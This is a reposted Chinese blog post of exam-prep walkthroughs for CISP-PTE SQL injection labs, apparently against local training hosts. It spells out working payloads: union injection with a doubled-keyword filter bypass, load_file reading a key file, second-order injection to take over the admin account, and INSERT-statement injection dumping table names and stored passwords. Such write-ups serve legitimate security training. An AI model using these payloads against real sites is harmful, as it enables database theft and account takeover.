iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CISP-PTE考前练习-SQL注入
  • 867
分享到

CISP-PTE考前练习-SQL注入

sql数据库php 2023-09-06 09:09:33 867人浏览 安东尼
摘要

文章目录 题目一:联合查询注入题目二:二次注入题目三:文章发布系统题目四:模拟实战练习摘抄 题目一:联合查询注入 第一步 常规的 访问页面发现参数id Http://192.16

文章目录

题目一:联合查询注入

第一步 常规的 访问页面发现参数id

Http://192.168.253.207/PTE/1.sql_Injection/

在这里插入图片描述

第二步 尝试闭合

id=1%27)--+ 页面回显正常id=1%27) 页面回显错误

第三步 查看回显字段的位数

id=1')order by  4--+ 回显正常id=1')order by 4--+ 回显异常

在这里插入图片描述
在这里插入图片描述

第四步 判断回显的位置

id=-1') uNIOn select 1,2,3,4 --+ 发现union被过滤id=-1') UNunionion select 1,2,3,4 --+  大小写双写绕过发现字段2,3,回显

在这里插入图片描述

在这里插入图片描述

第五步 结合文件读取,查看文件内容

id=-1') UNunionion select 1,2,load_file('c://key.PHP%27'),4 --+  提交:http://192.168.253.214/PTE/1.Sql_Injection/vulnerabilities/fu1.php?id=-1%27)%20UNunionion%20select%201,2,load_file(%27c://key.php%27),4%20--+

在这里插入图片描述

题目二:二次注入

第一步 首先进入页面,发现注册
在这里插入图片描述

第二步 注册一个特殊账户

注册用户名:admin'、admin"、admin')、admin'#多尝试几次

在这里插入图片描述

第三步 修改密码

在这里插入图片描述
在这里插入图片描述

第四步 查看修改后的结果
在这里插入图片描述

重新使用修改后的密码,登录admin,发现成功

题目三:文章发布系统

第一步 访问首页

在登录得地方,尝试万能密码,进不去,发现不回显在注册得地方,也没有发现回显直接注册一个用户

在这里插入图片描述

第二步 通过注册得账号进入,有个文章发表的地方
在这里插入图片描述
在这里插入图片描述

发表一篇文章,
在这里插入图片描述

发现回显数据库语句

insert article1 value('49E0CAD0-F7E8-5BC2-FA78-7975F5807E14','123admintest1','123456','123admin')

思路就是让value提前通过‘)形成闭合,在文章内容的地方闭合,注意第三个参数是用户名得带上
发现发现文章的地方是使用插入一条数据的值,value(标题,内容,用户名),然后存放到数据库,可以同时插入两条内容,类似于(标题,内容,用户名),(标题,内容,用户名),使得第一条闭合,然后第二天插入自己想要的语句,采取文章发表页面进行查看

123456','123admin'),('123456','2','3 发现字段2和3能够回显1','123admin'),('1',database(),'select version() 发现空格被过滤1','123admin'),('1',database(),'3' 有回显1','123admin'),('1',selectversion(),'3' 通过注释进行过滤

在这里插入图片描述

查看发表成功得文章

insert article1 value('377856A7-4CF3-5384-E1AD-37ED2AE6D3A2','qweasd','123456','123admin'),('123456','2','3','123admin')发表了两篇文章

在这里插入图片描述

1','123admin'),('1',database(),'select version()

在这里插入图片描述

查看回显
在这里插入图片描述

第三步 构造闭合,查看回显

1','123admin'),('1',(selectversion()),'3 通过注释进行过滤

在这里插入图片描述

查看发布的文章
在这里插入图片描述

第四步 查看当前数据库下面得表名

1','123admin'),('1',(select group_concat(table_name) from infORMation_schema.tables where table_schema='2WEB'),'3添加注释1','123admin'),('1',(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='2web'),'3

在这里插入图片描述

article,article1,users1
在这里插入图片描述

第五步 查询user1表中得字段名称

1','123admin'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3注释后的1','123admin'),('1',(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='users1'),'3

在这里插入图片描述

passWord,username,XremarkX4354
在这里插入图片描述

第六步 查询user1表中username、password的字段值

1','123'),('1',(select password from users1 limit 0,1),'3注释后1','123admin'),('1',(selectpasswordfromusers1limit0,1),'3

在这里插入图片描述
在这里插入图片描述

依次limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1)、通过INtrude遍历查看
在这里插入图片描述

发现不在密码字段,继续查询
在这里插入图片描述

1','123admin'),('1',(selectXremarkX4354fromusers1limit0,1),'3

在这里插入图片描述

题目四:模拟实战练习

题目要求

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。数据库中可以找到Key1

在这里插入图片描述

第一步 形成闭合

通过尝试发现--+ #被过滤uuid=xx'  and '1'='1uuid=xx' or '1'='1 页面回显正常

在这里插入图片描述
在这里插入图片描述

第二步 使用union查询,查看回显的位置

发现order by被过滤,只能1,2,3,4,5,6依次尝试d6'union select 1,2,3,4,5 or '1' = '1 页面回显错误d6'union select 1,2,3,4,5,6 or '1' = '1 页面回显字段2 

在这里插入图片描述
在这里插入图片描述

第三步 查询表名
当前数据库

d6'union select 1,database(),3,4,5,6 and '1' = '1 当前数据库中的表d6'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),3,4,5,6 and '1' = '1Article,IS_KEY

在这里插入图片描述
在这里插入图片描述

第四步 查看列名

d6'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='2web' and table_name='IS_KEY'),3,4,5,6 and '1' = '1

在这里插入图片描述

第五步 查询字段

uuid=-xx' union select 1,(select group_concat(haha) from IS_KEY),3,4,5,6 and '1' = '1

在这里插入图片描述

摘抄


想让日子过得丰富,就应该保持积极开放的心态,多了解、多接触新事物。
不要总是怀有偏见,更不要盲目抗拒。
因为很多时候,你拒绝的可能不是一件事,而是通往崭新生活的一扇门。
要知道,真正让一个人衰老的原因,往往与年龄无关,而是从你丧失对新事物的好奇心开始的。
打开眼界,才能改变认知。
  ----《开放心态》


来源地址:https://blog.csdn.net/qq_41901122/article/details/127377740

--结束END--

本文标题: CISP-PTE考前练习-SQL注入

本文链接: https://www.lsjlt.com/news/396819.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • CISP-PTE考前练习-SQL注入
    文章目录 题目一:联合查询注入题目二:二次注入题目三:文章发布系统题目四:模拟实战练习摘抄 题目一:联合查询注入 第一步 常规的 访问页面发现参数id http://192.16...
    99+
    2023-09-06
    sql 数据库 php
  • CISP-PTE考前练习-文件包含
    文章目录 ⽂件包含漏洞利⽤的前提伪协议⽂件包含常⽤伪协议使用file:// 访问本地⽂件系统php:// 访问输⼊/输出流phar:// PHP归档 伪协议利⽤⽅式题目1:题目要求解题过...
    99+
    2023-09-02
    php 安全 web安全
  • CISP-PTE实操练习讲解
    CISP-PTE实操练习讲解 文章目录 CISP-PTE实操练习讲解前言一、文件上传二、反序列化漏洞三.失效的访问控制总结 前言 这次给大家讲解一下考试的各个题型 一、文件上传 这道题就很...
    99+
    2023-09-17
    安全性测试 web安全 安全
  • CISP-PTE学习总结之基础练习题(二)
    文章目录 基础题目一:SQL注入0x01 题目要求0x02 解题过程 基础题目二:文件上传突破0x01 题目要求0x02 解题过程 基础题目...
    99+
    2023-10-03
    数据库 sql mysql
  • CISP-PTE练习篇(基础题目三:文件包含)
    本文仅当作练习记录使用。 开始答题,答案在根目录下的key.php文件中。 php://filter       可以访问本地的文件(通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行) ...
    99+
    2023-08-31
    php 开发语言
  • Delphi考虑sql注入 QuotedStr
    在Delphi中,使用QuotedStr函数可以防止SQL注入。QuotedStr函数将传入的字符串添加引号,防止特殊字符被解释为S...
    99+
    2023-09-12
    SQL
  • SQL注入之sqlmap入门学习
    目录一、判断是否存在注入点二、查询当前用户下所有数据库三、获取数据库中的表名四、获取表中的字段名五、获取字段内容六、获取数据库的所有用户七、获取数据库用户的密码八、获取当前网站数据库的名称九、获取当前网站数据库的用户名称...
    99+
    2023-05-12
    sqlmap入门 sqlmap注入
  • SQL注入篇学习之盲注/宽字节注入
    目录盲注布尔盲注时间盲注盲注函数length() 函数 返回字符串的长度演示语句burp抓包演示宽字节注入php魔术函数开启方式开启效果作用绕过方法宽字节注入总结 盲注 有...
    99+
    2024-04-02
  • 【1day】PHPOK cms SQL注入学习
    注:该文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与作者无关。 目录 一、漏洞描述 二、资产测绘 三、漏洞复现  四、漏洞修复 一、漏洞描述         PHPOK CMS是一个基于PHP语...
    99+
    2023-09-13
    安全 web安全
  • SQL注入宽字节注入由浅到深学习
    目录前言基础知识宽字节宽字节注入例子例题一例题二SQLMAP应用结语前言 突然想起来之前讲SQL注入时忘记讲一下这个宽字节注入了,因为这个知识点还是挺重要的,所以本文就带大家了解一...
    99+
    2023-02-24
    SQL宽字节注入 SQL 注入
  • 前端如何防止xss和sql注入
    前端防止xss和sql注入的方法:使用php语言进行预防xss和sql注入,代码如下:function string_remove_xss($html) {preg_match_all("/\...
    99+
    2024-04-02
  • (MYSQL学习笔记5)防止SQL注入
    MYSQL服务器并不存在共享池(我也不清楚共享池是什么)的概念,所以在MYSQL上使用绑定变量最大的好处就是为了防止SQL注入。PHP例子:$stmt = $dbh -> prepare("SELEC...
    99+
    2024-04-02
  • 推荐几个适合新手入门学习的SQL网站,在线就能练习
    这里整理推荐几个我自己学习时用过的在线学习网站,对新手非常友好,帮助初学者快速入门SQL,在交互式的环境里学习,既不用安装也不用导入数据,在线就能思考和练习。 1.自学SQL网 适合小白学习,这里由浅及深的介绍了SQL的知识,每一个章节是...
    99+
    2023-09-18
    学习 mysql sql 数据库
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作